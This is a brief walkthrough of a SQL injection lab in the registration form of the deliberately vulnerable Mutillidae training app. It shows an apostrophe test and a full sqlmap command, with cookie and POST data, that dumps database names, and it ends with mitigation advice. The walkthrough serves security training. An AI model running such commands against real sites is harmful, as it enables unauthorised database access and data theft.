Mutillidae - SQLi Insert Injection (Register)

Mutillidae – SQLi Insert Injection (Register)

In this walk through, we will be going through the SQLi Insert Injection (Register) vulnerability section from Mutillidae Labs. We will be exploring and exploiting SQL Injection in Account Registration panel and learn how application are affected because of it. So, let’s get started with the Hacking without any delay.

SQLi Insert Injection (Register)

Security Level: 0 (Hosed)

  • Setting the security level to 0 or Hosed.

Security level 0

  • The application has a user registration functionality where a new user can be add into the DB.

Register Account

  • I entered an apostrophe to check if it is vulnerable to SQL injection attack and it throw me an error. It is using an INSERT statement to add the user.


  • I used sqlmap to dump the database names using the below command.

sqlmap -u http://localhost/mutillidae/index.php?page=register.php --cookie="showhints=1; PHPSESSID=4g919gggj0pk4lvlf9avjvnfb4" --data="csrf-token=&username=asd&password=ad&confirm_password=ad&my_signature=ad&register-php-submit-button=Create+Account" --dbs

Capturing POST request

sqlmap result

Also Read: Mutillidae – SQLi: Bypass Authentication (Login)



So, we finally completed all the security levels for the Mutillidae SQLi Insert Injection (Register) Vulnerability. We looked into the various ways how application has been set up in various levels and how we can bypass the security controls implemented. Next, we can mitigate the potential SQL Injection attacks by performing input sanitization and using prepared statements or parametrized queries for every SQL query made by the application to the database. On that note, i will take your leave and will meet you in next one with another Mutillidae vulnerability writeup, till then “Keep Hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top